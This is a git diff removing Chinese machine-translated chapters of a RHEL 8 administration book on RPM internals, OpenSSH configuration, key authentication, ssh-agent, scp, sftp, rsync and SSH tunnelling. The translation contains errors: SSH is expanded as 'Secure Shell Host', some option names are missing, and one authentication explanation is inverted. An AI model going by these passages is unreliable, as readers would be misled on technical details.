-46f0b974d2456ad4f66dec3afff1490648f567ee9aa4fe695494ec2cfc9a88f6-primary.sqlite.bz2 -580de0089dbaa82ca8963963da9cb74abf7a5c997842492210e2c10e1deac832-primary.xml.gz -5954c1ef-00bc-457b-9586-e51789358b97 -a7504888345e2440fa62e21a85f690c64a5f5b9ffd84d8e525a077c955644abe-filelists.xml.gz -acad9f7dfbc7681c2532f2fd1ff56e0f4e58eb0e2be72cc1d4a4ec8613008699-comps.xml -d2e90d6a0f138e6d8ea190cf995902c821309a03606c7acc28857e186489974a-filelists.sqlite.bz2 -e0a7c4b677c633b859dba5eac132de68e138223e4ad696c72a97c454f2fe70bd-other.xml.gz -repomd.xml -``` - -这将为启用的通道下载最新的包。 让我们来看看这些选项: - -* `--newest-only`:Red Hat 存储库保存了自第一个发行版以来的所有包版本。 这将只下载最新的版本。 -* `--download-metadata`:为了确保我们下载了一个功能完整的 repo,并且不需要在它上运行`createrepo`,我们可以使用这个选项,它将检索源存储库中的所有元数据。 -* `--destdir /var/tmp/repos`:设置下载文件的目标目录。 它还将为每个配置的回购创建一个目录,因此指定的目录将是所有回购的父目录。 - -通过这个复制的存储库,我们还可以在隔离的环境中工作。 它可以非常方便地准备测试环境。 要获得高级的回购管理功能,请记得尝试红帽卫星。 - -在学习了存储库的基础知识以及如何使用它们来管理软件之后,让我们深入了解其背后的技术,即**Red Hat Package Manager**或**RPM**。 - -# 了解 RPM 内部结构 - -Linux 发行版倾向于拥有自己的包管理器,从带有`.deb`的 Debian 到 Arch Linux 中的 Pacman 以及其他更奇特的机制。 包管理器的目的是保持安装在系统上的软件,更新它,给它打补丁,保持依赖关系,并维护系统上安装的内部数据库。 RPM 被 Fedora、openSUSE、CentOS、Oracle Linux,当然还有 RHEL 等发行版所使用。 - -为了处理 rpm,系统中可以使用`rpm`命令,但是,自从`yum`/`dnf`引入以来,它几乎从未在系统管理中使用,并且没有包含在 RHCSA 中。 - -rpm 包含以下内容: - -* 系统中需要安装的文件,以 CPIO 格式存储并压缩 -* 关于每个文件的权限以及分配的所有者和组的信息 -* 每个包所需要和提供的依赖关系,以及与其他包的冲突 -* 安装、卸载和升级脚本,以应用于任何这些阶段 -* 确保包未被修改的签名 - -为了稍微了解它,我们将展示一些简单有用的命令。 - -检查包的命令包括: - -* `rpm –qa`:列出系统中所有已安装的软件包 -* `rpm –qf `:显示哪个包安装了上述文件名 -* 列出一个下载包中包含的文件(查看之前下载的包很有意思) - -安装、升级和移除命令包括: - -* `rpm –i `:安装提供的包列表,而不是获取依赖。 -* `rpm –U `:将下载的软件包升级。 检查依赖项,但不管理它们。 -* `rpm –e `:删除指定的包,但不会删除依赖项。 - -如果您想要了解依赖管理系统在`yum`/`dnf`中的工作方式,请尝试使用`rpm –i`安装包。 - -重要的是要知道已安装包的所有数据库都位于`/var/lib/rpm`中,并且可以使用`rpmdb`命令进行管理。 - -在现代,必须使用`rpm`命令通常意味着存在低级问题,因此最好在实际使用测试系统之前尝试破坏它。 - -至此,我们完成了 RHEL 系统中的软件管理。 - -# 总结 - -在本章中,我们讨论了 RHEL 8 系统中软件管理的管理部分,从订阅到安装,到模块化,以及其他一些技巧。 - -RHEL 中的所有系统补丁、更新和管理都依赖于`yum`/`dnf`,简化了依赖性管理、安装正确版本的软件以及在隔离的环境中分发软件。 这是系统管理员更常见的任务之一,应该完全理解。 - -对于 Red Hat Certified Engineer 级别,需要更深入地了解,包括创建 RPM 包,这些包对于利用 Red Hat 提供的经验和工具在您自己的环境中管理、维护和分发内部生成的软件非常有用。 - -现在我们的系统是最新的,让我们在接下来的章节中继续学习如何远程管理它们。 \ No newline at end of file diff --git a/docs/rhel8-admin/08.md b/docs/rhel8-admin/08.md deleted file mode 100644 index da0bb1d6..00000000 --- a/docs/rhel8-admin/08.md +++ /dev/null @@ -1,540 +0,0 @@ -# 八、远程管理系统 - -在处理系统时,一旦服务器安装完成,很多时候,甚至在安装过程中,管理都可以远程执行。 一旦安装了一台机器,在它的生命周期中需要执行的任务与已经执行的任务没有什么不同。 - -在这一章中,我们将从连接的角度讨论,如何连接远程系统,传输文件,以及如何自动化连接,以便它可以被脚本化,并使其在网络链接出现问题时具有弹性。 可以在系统上执行的管理任务与我们在前面章节中描述的任务相同,例如安装软件、配置额外的网络设置,甚至管理用户。 - -由于管理系统需要特权凭证,所以我们将重点讨论可用的工具,这些工具被认为是执行此类连接的安全工具,以及如何使用它们来封装其他流量。 - -我们将涵盖以下议题: - -* SSH 和 OpenSSH 概述和基本配置 -* 使用 SSH 访问远程系统 -* 基于密钥的 SSH 认证 -* 使用 SCP/rsync 进行远程文件管理 -* 高级远程管理- SSH 隧道和 SSH 重定向 -* 具有 tmux 的远程终端 - -通过讨论这些主题,我们将能够掌握远程系统访问,并将我们的管理技能提高到一个新的水平。 - -让我们在下一节中首先讨论 SSH 协议以及 OpenSSH 客户机和服务器。 - -# 技术要求 - -您可以在[*第一章*](01.html#_idTextAnchor014),*安装 RHEL8*中继续使用我们在本书开头创建的虚拟机。 所需要的任何其他软件包将在文本中说明。 本章所需的其他文件可从[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration)下载。 - -# SSH 和 OpenSSH 概述及基本配置 - -**SSH**是**Secure Shell Host**的缩写。 它开始传播,取代了传统的 telnet 用法,这是一种远程登录协议,在连接到主机时不使用加密,因此用于登录的凭据以明文传输。 这意味着任何在用户终端和远程服务器之间拥有系统的人都可以截取用户名和密码,并使用该信息连接到远程系统。 这类似于凭据通过 HTTP 而不是 HTTPS 传输到 web 服务器时发生的情况。 - -使用 SSH,在客户端和目标主机之间创建一个安全通道,即使连接是在不可信或不安全的网络上执行的。 在这里,创建的 SSH 通道是安全的,不会泄露任何信息。 - -OpenSSH 提供服务器和客户机(`openssh-server`和`openssh-clients`在**Red Hat Enterprise Linux 包**(**RHEL**),可以使用【显示】连接,允许从远程主机连接。 - -提示 - -知道一切是不可能的,所以对于**Red Hat Certified System Administrator**(**RHCSA**)通过认证的个人(甚至是以后的认证,如果您遵循了这条道路)是非常重要的。 我们已经知道如何安装包以及如何检查由它们安装的手册页面,但是我们也可以使用这些包来找到必要的配置文件。 这个技能可以用来找到可能的配置文件,我们需要编辑配置服务或客户端。 如果不记得要使用哪个文件,请使用`rpm –ql package`来检查包提供的文件列表。 - -客户机和服务器的默认配置都允许连接,但是有许多选项可以调优。 - -## OpenSSH 服务器 - -OpenSSH 是一个免费的实现,它基于 OpenBSD 成员创建的最后一个免费 SSH 版本,并更新了所有相关的安全性和特性。 它已经成为许多操作系统的标准,无论是作为服务器还是作为客户端,以确保它们之间的安全连接。 - -OpenSSH 服务器的主配置文件位于`/etc/ssh/sshd_config`(您可以使用`man sshd_config`来获取关于不同选项的详细信息)。 一些最常用的选项如下: - -* `AcceptEnv`:定义客户端设置的哪些环境变量将在远程主机上使用(例如,地区、终端类型等)。 -* `AllowGroups`:用户应该属于的组列表,以便访问系统。 -* `AllowTcpForwarding`:允许我们使用 SSH 连接转发端口(我们将在本章后面的*SSH 隧道和*SSH 重定向部分讨论这个问题)。 -* `DisableForwarding`:优先于其他转发选项,便于限制服务。 -* `AuthenticationMethods`:定义可以使用哪些身份验证方法,例如禁用基于密码的访问。 -* `Banner`:允许身份验证之前要发送给连接用户的文件。 这默认为没有横幅,这也可能揭示谁正在运行可能向攻击者提供太多数据的服务。 -* `Ciphers`:与服务器交互时使用的有效密码列表。 您可以使用`+`或`–`来启用或禁用它们。 -* `ListenAddress`:主机名或地址和端口,`sshd`守护进程应该在其中侦听传入的连接。 -* `PasswordAuthentication`:此默认值为 yes,可以禁用该值以阻止用户交互连接到系统,除非使用公共/私有密钥对。 -* `PermitEmptyPasswords`:允许无密码的帐户访问系统(默认为 no)。 -* `PermitRootLogin`:定义 root 用户的登录工作方式,例如,避免 root 用户使用密码远程连接。 -* `Port`:与`ListenAddress`相关,默认为`22`。 它是`sshd`守护进程侦听传入连接的端口号。 -* `Subsystem`:配置外部子系统的命令。 例如,它与`sftp`一起用于文件传输。 -* `X11Forwarding`:这定义了是否允许`X11`转发,以便远程用户可以通过隧道连接在本地显示器上打开图形程序。 - -下面的截图显示了我们在删除注释时系统安装的选项: - -![Figure 8.1 – Default values at installation time defined in /etc/ssh/sshd_config ](img/B16799_08_001.jpg) - -图 8.1 -在/etc/ssh/sshd_config 中定义的安装时的默认值 - -我们将在下一节中检查配置的客户机部分。 - -## OpenSSH 客户端 - -OpenSSH 的客户端部分是通过`/etc/ssh/ssh_config`文件和`/etc/ssh/ssh_config.d/`文件夹中的文件在系统范围内配置的。 它们也通过每个用户`~/.ssh/config`文件进行配置。 - -通常,系统范围的文件只包含一些注释,而不是实际的设置,因此我们将重点关注每个用户的配置文件和命令行参数。 - -我们的`~/.ssh/config`文件中的一个示例条目如下: - -```sh -Host jump - Hostname jump.example.com - User root - Compression yes - StrictHostKeyChecking no - GSSAPIAuthentication yes - GSSAPIDelegateCredentials yes - GSSAPIKeyExchange yes - ProxyCommand connect-proxy -H squid.example.com:3128 %h %p - ControlPath ~/.ssh/master-%r@%h:%p - ControlMaster auto -``` - -在前面的示例中,我们定义了一个名为`jump`的条目(可以与`ssh jump`一起使用),它将用户名`root`连接到`jump.example.com`主机。 - -这是一个基本的设置,但我们还定义,我们将使用一个辅助项目`ProxyCommand`,将使用一个代理服务器在端口上`squid.example.com``3128`连接到`%h``%p`主机和端口达到我们的目标系统。 此外,我们正在使用`Compression`和`ControlMaster`与额外的`GSSAPI`认证。 - -一个具有安全性影响的特性是`StrictHostKeyChecking`。 当我们第一次连接到主机时,在客户端和主机之间交换密钥,服务器使用所使用的密钥来标识自己。 如果它们被接受,它们将被存储在用户家中的`.ssh/known_hosts`文件中。 - -如果远程主机关键是改变,警告将印在`ssh`客户的终端和连接将被拒绝,但当我们设置【】`no`,我们将接受任何关键服务器发送的,这可能是有用的,如果我们经常使用一个测试系统被重新部署(因此,生成一个新的主机密钥)。 一般不建议使用它,因为它可以防止服务器被替换,也可以防止有人假冒我们想要连接的服务器,例如,服务器会记录用户名和密码,以便以后访问我们的系统。 - -在下一节中,我们将学习如何使用`ssh`访问远程系统。 - -# 使用 SSH 访问远程系统 - -正如我们在本章前面提到的,SSH 是一种协议,用于连接到远程系统。 一般来说,最基本的语法形式就是在终端中执行`ssh host`。 - -`ssh`客户端将发起一个连接到目标主机上的`ssh`服务器,默认使用当前登录用户的用户名,并将努力达到远程服务器在端口`22/tcp`,这是默认的 SSH 服务。 - -在下面的截图中,我们可以看到离我们的`localhost`系统最近的服务器,这意味着我们将连接到我们自己的服务器: - -![Figure 8.2 – Initiating a SSH connection to localhost ](img/B16799_08_002.jpg) - -图 8.2 -启动到本地主机的 SSH 连接 - -在前面的屏幕截图中,我们可以看到与服务器的第一次交互如何打印服务器的指纹以验证它。 这是上一节讨论的内容; 即`StrictHostKeyChecking`。 一旦接受,如果主机密钥更改,连接将被拒绝,直到我们手动删除旧密钥以确认我们知道服务器更改。 - -让我们添加这个键,然后再试一次,如下截图所示: - -![Figure 8.3 – Initiating an SSH connection to localhost denied ](img/B16799_08_003.jpg) - -图 8.3 -拒绝启动到本地主机的 SSH 连接 - -在第二次尝试时,连接失败了,但是让我们检查输出; 即`Permission denied (publickey,gssapi-keyex,gssapi-with-mic)`。 这是什么意思? 如果我们注意,没有列出`password`,这意味着我们不能通过密码提示符(密码提示符来自于将`PasswordAuthentication`设置为`no`,这是我们在`/etc/ssh/sshd_config`文件中定义的)连接到该主机。 - -在下面的截图中,我们可以看到,一旦我们将`PasswordAuthentication`设置为`yes`,系统就会要求输入密码,但是在屏幕上没有回显。 一旦验证成功,我们会得到一个 shell 提示符,这样我们就可以开始输入命令了: - -![Figure 8.4 – SSH connection completed ](img/B16799_08_004.jpg) - -图 8.4 - SSH 连接完成 - -一般来说,密码身份验证可能存在安全风险,因为键盘可能被拦截,某人可能监视着您,可能对帐户使用暴力攻击,等等。 因此,通常的做法是至少对`root`用户禁用它,这意味着试图登录到系统的人应该知道某个用户的用户名和密码,然后使用系统工具成为`root`。 - -让我们了解如何登录使用身份验证密钥禁用密码的远程系统。 - -# SSH 认证 - -SSH 连接的一个很大的优点是可以在远程主机上执行命令,例如,获取可用于监视的更新数据,而不需要主机上的特定代理。 - -我们不能认为必须在每个连接上提供登录详细信息是对用户体验的改进,但是 SSH 还允许我们创建一个可用于远程系统身份验证的密钥对,因此不需要输入密码或凭据。 - -密钥包含两部分:一部分是公共的,必须在我们想要连接到的每个主机中配置;另一部分是私有的,必须是安全的,因为当我们试图连接到远程主机时,它将用于标识我们。 - -无需说明整个过程发生在 SSH 创建的加密连接上。 因此,使用 SSH 和压缩还将使我们的连接比其他传统方法(如 telnet)更快,后者是未加密的。 - -首先,让我们创建一个用于身份验证的对。 - -提示 - -建议每个用户至少有一个对,以便每个用户在连接到服务器时可以基于角色拥有密钥。 即使可以为角色中的用户共享密钥,最好让每个用户都有自己的密钥集,以便可以单独撤销密钥。 例如,我们可以保留几个`ssh`键对用于不同的角色,例如个人系统、生产系统、实验室系统等等。 必须指定用于连接的密钥对也是一种额外的安全措施:除非使用生产密钥对,否则不能连接到生产系统。 - -要创建一个密钥对,我们可以使用`ssh-keygen`工具,它为我们正在创建的密钥提供了几个选项,如下面的截图所示: - -![Figure 8.5 – ssh-keygen options ](img/B16799_08_005.jpg) - -图 8.5 - ssh-keygen 选项 - -当没有提供参数时,默认情况下,它将为当前用户创建一个密钥,并要求为该密钥输入密码。 当我们使用默认值而不提供任何值时,我们会得到如下截图所示的输出: - -![Figure 8.6 – ssh-keygen execution creating an RSA keypair under ~/.ssh/{id_rsa,id_rsa.pub} ](img/B16799_08_006.jpg) - -图 8.6 - ssh-keygen 执行在~/.ssh/{id_rsa,id_rsa.pub}下创建 RSA 密钥对 - -从现在开始,该系统为根用户创建了对,并将的两个部分存储在同一个文件夹中,默认为`.ssh`。 公共密钥包含`.pub`后缀,而另一个包含私钥。 - -我们如何使用它们? 如果我们查看主目录中的`.ssh`文件夹,我们可以看到几个文件:除了刚才创建的 pair 之外,还有一个`authorized_keys`文件和一个`known_hosts`文件。 `authorized_keys`文件每行包含一个条目。 其中包含可用于此用户登录到此系统的公钥。 - -提示 - -广泛的选项,可以使用`authorized_keys`超越添加普通钥匙,您还可以定义命令执行,到期时间键,可以用来连接远程主机,因此只有那些关键主机将能够使用成功,和许多更多。 同样,`man sshd`是您的朋友,所以请查看那里的`AUTHORIZED_KEYS FILE FORMAT`部分以了解更复杂的设置。 - -为了简化在远程系统上设置键的方式,我们使用了`ssh-copy-id`实用程序,它通过`ssh`连接到远程主机。 这将要求输入`ssh`密码并在我们的系统上安装可用的公钥。 但是,这需要系统启用密码身份验证。 - -另一种方法是手动将我们的公钥附加到该文件(`.ssh/autorized_keys`),如下面的截图所示: - -![Figure 8.7 – ssh-copy-id failure and manual authorization of the private key ](img/B16799_08_007.jpg) - -图 8.7 - ssh-copy-id 失败和私钥的手动授权 - -第一行有试图使用`ssh-copy-id`,但是由于我们启用了密码身份验证,它试图复制我们的公钥,但失败了。 然后,我们使用`>>`将公钥添加到`authorized_keys`文件中。 最后,我们演示了如何使用`ssh`连接到`localhost`并在没有密码的情况下执行命令。 - -重要提示 - -文件夹`.ssh`和文件`authorized_keys`的权限不能太大(例如,777)。 如果是,`ssh`守护进程将拒绝它们,因为有人可能已经添加了新的密钥,并试图获得访问权限,而不是真正的系统合法用户。 - -刚刚发生的一切开启了一个自动化的新世界。 使用在系统和远程主机之间交换的密钥,我们现在可以远程连接到它们,以交互式地运行命令或在远程主机上执行脚本命令。 我们可以在终点站查看结果。 让我们考虑这个简单的脚本,用于系统负载平均检查,可以在[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-08-remote-systems-administration/loadaverage-check.sh](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-08-remote-systems-administration/loadaverage-check.sh)上找到: - -```sh -#!/usr/bin/bash -for system in host1 host2 host3 host4; -do - echo "${system}: $(ssh ${system} cat /proc/loadavg)" -done -``` - -在这个例子中,我们正在运行一个连接到四个系统的循环,然后输出该系统的名称和平均负载,如下面的截图所示: - -![Figure 8.8 – Password-less login to four hosts to check their load average ](img/B16799_08_008.jpg) - -图 8.8 -无密码登录四台主机,检查其平均负载 - -可以看到,我们快速抓取了`ssh`上四个主机的信息。 如果你想测试这个在您的环境,您可能想要付诸实践,我们了解到创建`/etc/hosts`文件中的条目,它指向`127.0.0.1`我们想尝试的主机名,以便连接到自己的实践系统,像我们解释[*第六章*【显示】, *启用网络连接*](06.html#_idTextAnchor096) - -现在,想想我们远程管理系统的不同选择: - -* 检查一系列主机的 ip。 -* 安装更新或添加/删除一个包。 -* 检查当地时间,以防系统漂移。 -* 添加新用户后重启服务。 - -还有更多的选择,但这些是主要的选择。 - -当然,还有更合适的工具用于远程管理系统并确保错误被检测和正确处理,例如使用 Ansible,但是在本例中,对于简单的任务,我们可以使用。 - -以前,我们创建了一个密钥,当我们被要求输入密码时,我们用``来回答。 如果我们输入一个呢? 我们将在下一节中讨论这个问题。 - -## SSH 代理 - -如果我们决定创建一个 SSH 密钥的密码保护(不错的选择),我们将需要输入密码每次我们想使用的关键,最后,它可能是不安全的必须输入密码作为一个可能会检查在我们的肩膀上。 为了克服这个问题,我们可以使用一个名为`ssh-agent`的程序,它将密码短语暂时保存在内存中。 这是方便的,并减少了有人看到的机会,而你键入你的钥匙。 - -当您使用 RHEL 提供的图形化桌面(如**GNOME**)时,代理可能已经设置为在会话登录时启动。 在使用控制台(本地或远程)的情况下,必须通过执行`ssh-agent`手动启动代理。 - -当`ssh-agent`被执行时,它将输出一些必须在我们的环境中设置的变量,这样我们才能使用它,如下截图所示: - -![Figure 8.9 – ssh-agent being used to set the required variables ](img/B16799_08_009.jpg) - -图 8.9 - ssh-agent 被用来设置所需的变量 - -如上面的截图所示,在执行代理之前,或者在执行代理时,变量是未定义的。 然而,如果我们执行`eval $(ssh-agent)`,我们将完成定义变量并准备使用的目标。 - -下一步是将密钥添加到代理。 这可以通过`ssh-add`命令来完成,该命令可以在不带参数的情况下使用,也可以指定要添加的键。 如果密钥需要密码,它将提示您输入密码。 完成后,我们可能可以使用该密钥登录到系统,并使用缓存的密码短语,直到退出执行代理的会话,从而从内存中清除密码短语。 - -下面的屏幕截图显示了用于生成带有密码的新密钥对的命令。 这里,我们可以看到唯一的区别是我们将它存储在一个名为`withpass`的文件中,而不是我们在本章前面所做的: - -![Figure 8.10 – Creating an additional ssh keypair with a password ](img/B16799_08_010.jpg) - -图 8.10 -创建带有密码的附加 ssh 密钥对 - -我们可以看到如何连接到我们的本地主机(我们在`.ssh/authorized_keys`中添加了密码为 public 的密钥,同时删除了没有密码的密钥)以及连接的行为如下截图所示: - -![Figure 8.11 – Using ssh-agent to remember our passphrase ](img/B16799_08_011.jpg) - -图 8.11 -使用 ssh-agent 来记住密码 - -为了更清楚,让我们来分析一下发生了什么: - -1. 首先,我们`ssh`向主持人问好。 权限被拒绝,因为我们使用的默认密钥已从`authorized_keys`中删除。 -2. 我们再次`ssh`,但是在定义要连接到的身份文件(密钥对)时,正如我们所看到的,我们被要求输入密钥的密码,而不是登录到系统的密码。 -3. 然后,我们注销并关闭连接。 -4. 接下来,我们尝试添加键,但是我们得到了一个错误,因为我们没有为代理设置环境变量。 -5. 正如我们在介绍代理时所指示的,我们执行命令在当前 shell 中加载代理的环境变量。 -6. 当我们用`ssh-add withpass`重试添加密钥时,代理会询问我们的密码短语。 -7. 当我们最终`ssh`连接到主机时,我们可以不用密码就可以连接,因为我们的密钥对在内存中。 - -在这里,我们实现了两件事情:我们现在有了一个自动/无人参与的方法来连接到系统,并确保只有经过授权的用户知道解锁他们的密码。 - -我们将在下一节学习如何进行远程文件管理! - -# SCP/rsync -远程文件管理 - -与在许多设备和系统上用`ssh`代替的`telnet`类似,使用不安全的文件传输解决方案的数量正在减少。 默认情况下,**文件传输协议**(**FTP**)使用 TCP 端口`21`,但是由于通信是纯文本的,所以它是拦截凭据的完美目标。 时至今日,FTP 仍在使用,主要用于在只允许匿名访问的服务器上提供文件,并希望转移到更安全的选项。 - -SSH 通常启用两个文件复制接口:`scp`和`sftp`。 第一个命令的使用方式与常规的`cp`命令类似,但是在这里,我们接受远程主机作为目标或源,而`sftp`使用与传统`ftp`命令交互的客户机方法。 只需记住,在这两种情况下,连接都是加密的,并且发生在目标主机上的端口`22/tcp`上。 - -我们将在下一节深入讨论 SCP。 - -## 使用 OpenSSH 安全文件副本传输文件 - -是`openssh-clients`包的一部分,`scp`命令允许在整个过程中使用`ssh`层在系统之间复制文件。 这使我们能够安全地将文件的内容,以及通过对登录引入的所有自动化功能传输到各种系统。 - -为了建立这个示例,我们将在我们的示例系统中创建一个新用户,该用户将使用本节描述的工具来复制文件,如下面的截图所示: - -![Figure 8.12 – Preparing our system with an additional user to practice file transfers ](img/B16799_08_012.jpg) - -图 8.12 -在我们的系统中增加一个用户来练习文件传输 - -您可以在[https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-08-remote-systems-administration/create-kys-user.sh](https://github.com/PacktPublishing/Red-Hat-Enterprise-Linux-8-Administration/blob/main/chapter-08-remote-systems-administration/create-kys-user.sh)的脚本中找到上述命令。 - -一旦创建了用户并且复制了密钥,我们就可以开始测试了! - -在本章的前面,我们创建了一个名为`withpass`的密匙,其公共密匙位于`withpass.pub`。 要为新创建的用户提供密钥,我们可以通过以下命令将这两个文件复制到`kys`用户: - -```sh -scp withpass* kys@localhost: -``` - -让我们用这个模板来分析这个命令的每个部分: - -```sh -scp origin target -``` - -在我们的例子中,`origin`用`withpass.*`表示,这意味着它将选择所有以`withpass`字符串开头的文件。 - -我们的`target`值是一个远程主机。 这里,用户名是`kys`,主机是`localhost`,应该存储文件的文件夹是默认的,通常是用户指定的主文件夹(在`:`符号后面有一个空路径)。 - -在下面的截图中,我们可以看到命令的输出,以及我们以后可以通过远程执行执行的验证: - -![Figure 8.13 – Copying SCP files to a remote path and validating the files that have been copied ](img/B16799_08_013.jpg) - -图 8.13 -将 SCP 文件复制到远程路径并验证已复制的文件 - -在前面的屏幕截图中,您还可以检查是否复制了根用户拥有的文件。 被复制的文件属于`kys`用户,因此文件的内容是相同的,但是由于目标上的创建者是`kys`用户,所以文件拥有它们的所有权。 - -我们也可以制作更复杂的副本先表明远程文件和本地路径为目标,这样我们下载文件到我们的系统,甚至复制文件在远程位置为原点和目标(除非我们指定`–3`选项,他们会直接从【】`target`)。 - -提示 - -提醒一下! `man scp`将向您展示所有可用的选项`scp`命令,但由于它是基于`ssh`,大多数我们使用`ssh`的选项是可用的,以及主机定义我们在`.ssh/config`文件。 - -我们将在下一节中探讨`sftp`客户机。 - -## 使用 sftp 传输文件 - -与`scp`相比,可以像使用常规`cp`命令编写一样进行脚本化,`sftp`具有一个用于导航远程系统的交互式客户机。 但是,当指定包含文件的路径时,它也可以自动检索文件。 - -要了解可用的不同命令,可以调用`help`命令,该命令将列出可用的选项,如下面的截图所示: - -![Figure 8.14 – Available sftp interactive mode commands ](img/B16799_08_014.jpg) - -图 8.14 -可用的 sftp 交互模式命令 - -让我们通过下面的截图来看一个例子: - -![Figure 8.15 – Both modes of operation with sftp – automated transfer or interactive transfer ](img/B16799_08_015.jpg) - -图 8.15 - sftp 的两种操作模式-自动传输或交互传输 - -在本例中,我们创建了一个本地文件夹作为我们的工作文件夹,名为`getfilesback`。 首先,我们使用带有已标识文件的远程路径调用`sftp`。 这里,`sftp`已自动传输文件,并已停止执行。 我们收到的文件现在是我们的用户的财产。 - -在第二个命令中,当我们使用用户和主机调用`sftp`并进入交互模式时,我们可以执行几个命令,这与我们在远程 shell 会话中所做的类似。 最后,使用带有`*`通配符的`mget`命令,将文件传输到本地系统。 - -在这两种情况下,文件已经从远程系统传输到我们的本地系统,所以我们的目标已经完成。 但是,使用`scp`需要知道要传输的文件的确切路径。 另一方面,在`sftp`交互式客户端中使用`ls`和`cd`命令来导航系统可能会更方便一些,直到我们找到我们想要传输的文件,如果我们记不起它的话。 - -现在,让我们学习如何使用`rsync`快速传输文件和树。 - -## 使用 rsync 传输文件 - -尽管我们可以使用`scp`的`–r`选项递归地传输文件,`scp`只处理文件的完整副本,如果我们只是在系统间保持某些文件夹的同步,这并不理想。 - -1996 年,推出了`rsync`,许多系统通过使用专用服务器侦听客户机连接来实现它。 这是为了允许树与文件同步。 这是通过复制文件之间的差异来实现的。 这里,将比较源和目标的部分内容,以查看是否存在应该复制的差异。 - -通过在客户机和服务器上同时安装`ssh`和`rsync`包,我们可以利用`ssh`创建的安全通道和`rsync`提供的更快的同步。 - -使用`rsync`守护进程和使用`ssh`之间的区别在于源或目标的语法,源或目标在主机名之后使用`rsync://`协议或`::`。 在其他情况下,它将使用`ssh`甚至本地文件系统。 - -下面的屏幕截图显示了我们通过`rsync –help`命令提到的 url 模式: - -![Figure 8.16 – The rsync command's help output ](img/B16799_08_016.jpg) - -图 8.16 - rsync 命令的帮助输出 - -现在,让我们回顾一些有用的选项,我们可以使用与`rsync`: - -* `-v`:在传输期间提供更详细的输出。 -* `-r`:递归到目录中。 -* `-u`:更新—只复制比目标文件更新的文件。 -* `-a`:存档(包括几个选项,如`–rlptgoD`)。 -* `-X`:保留扩展属性。 -* `-A`:保留 acl。 -* `-S`:稀疏序列将被转换为稀疏块。 -* `--preallocate`:在传输文件之前声明文件所需要的空间。 -* `--delete-during`:删除目标上拷贝期间不驻留的文件。 -* `--delete-before`:删除拷贝前不在目标上托管的文件。 -* :显示副本的进度信息(已复制文件与总文件)。 - -`r``sync`算法将文件分解为块,并计算传输到源的每个块的校验和。 然后将它们与本地文件的文件进行比较。 我们只允许分享源和目标之间的差异。 `rsync`在默认情况下不会检查修改文件的日期和大小,所以如果文件已经更改,而没有在这两个文件中留下更改,那么更改可能不会被检测到,除非强制对每个要传输的候选文件进行校验和检查。 - -让我们看一些基本的例子: - -* `rsync –avr getfilesback/ newfolder/`将通过显示进度更新将本地`getfilesback/`文件夹中的文件复制到`newfolder/`,但仅针对更新后的文件,如下截图所示: - -![Figure 8.17 – The rsync operation being used on the same source/destination, repeated to illustrate transfer optimization ](img/B16799_08_017.jpg) - -图 8.17 -在相同的源/目标上使用 rsync 操作,重复以说明传输优化 - -正如我们所看到的,第二个操作仅仅发送了 85 个字节而接收了 12 个字节。 这是,因为在内部发生了一个小的校验和操作,以便跨文件夹进行验证,因为文件没有被更改。 如果我们对`rsync -avr --progress getfilesback/ root@localhost:newfolder/`使用远程目标方法,也可以获得相同的输出,但在本例中,将使用`ssh`传输。 - -让我们获得一些更大的示例文件,并通过在某个时间点签出 Git 存储库、传输文件、然后更新到最新版本来模拟存储库上的工作来比较它们。 然后,我们将再次同步。 - -首先,如果没有安装`git`,让我们安装它,并通过执行以下代码检查一个示例存储库: - -```sh -dnf –y install git # install git in our system -git clone https://github.com/citellusorg/citellus.git # clone a repository over https -cd citellus # to enter into the repository folder -git reset HEAD~400 # to get back 400 commits in history -``` - -现在,我们有了一个可以传输文件的文件夹。 完成此操作后,我们将执行`git pull`来与最新的更改同步,并再次使用`rsync`来复制差异。 稍后,我们将使用`--delete`来删除源上不再存在的任何文件。 - -让我们看看下面的截图中显示的序列: - -![Figure 8.18 – Synchronizing the git folder to a new folder with rsync ](img/B16799_08_018.jpg) - -图 8.18 -使用 rsync 同步 git 文件夹到一个新文件夹 - -在前面的屏幕截图中,请注意在命令的最新行中报告的加速。 - -现在,让我们执行`git pull`以获得遗漏的 400 个更改,并再次重复`rsync`。 我们将得到类似如下的输出: - -![Figure 8.19 – Using rsync again to copy over the differences ](img/B16799_08_019.jpg) - -图 8.19 -再次使用 rsync 来复制差异 - -在前面的截图中,注意最后一行报告的提速情况,以便与前一行进行比较。 - -从这个屏幕快照序列中,我们可以检查最后发送的总字节数,以查看传输中的改进,以及接收的一些文件(因为我们添加了`–v`修饰符以获得详细输出和`--progress`)。 - -最大的优点是在较慢的网络链接上执行复制,并且周期性地执行,例如,作为一种复制到离线副本的方式,以实现备份的目的。 这是因为`rsync`将只复制更改,更新源上已修改的更新文件,并允许我们在`ssh`通道上使用压缩。 例如,位于[https://www.kernel.org/](https://www.kernel.org/)的 Linux 内核可以使用`rsync`进行镜像。 - -在下一节中,我们将深入研究 SSH 的一个非常有趣的特性,它可以方便地连接到不能直接访问的服务器。 - -# 高级远程管理- SSH 隧道和 SSH 重定向 - -SSH 有两个真正的强大功能; 即 SSH 隧道和 SSH 重定向。 当一个 SSH 连接建立时,它不仅可以用来向远程主机发送命令,让我们把它们当作我们的本地系统来处理,而且我们还可以创建连接我们的系统的隧道。 - -让我们试着想象一个在许多公司中都很常见的场景,其中 VPN 用于连接所有服务和服务器的内部网络,但是使用 SSH 而不是常规的 VPN。 - -所以,让我们把一些背景放到这个假想的场景中。 - -我们可以使用一个主机,它从我们的互联网路由器获得`ssh`的外部流量重定向到该系统中的`ssh`服务。 因此,简单地说,我们的路由器通过 TCP 在端口`22`上获得连接,并将连接转发到我们的服务器。 我们将在这个练习中命名这个服务器堡垒。 - -有了这一点,我们的常识告诉我们,我们将能够通过 SSH 到达 bastion 主机,即使我们可以使用其他工具,甚至是`ssh`来连接到其他系统。 - -我们可以直接连接到内部网络中的其他主机吗? 答案是肯定的,因为在默认情况下,SSH 允许我们使用 TCP 转发`AllowTcpForwarding`(`sshd_config`设置),这使我们,远程登录用户,创建端口重定向,甚至袜子**代理用于我们的连接。** - - 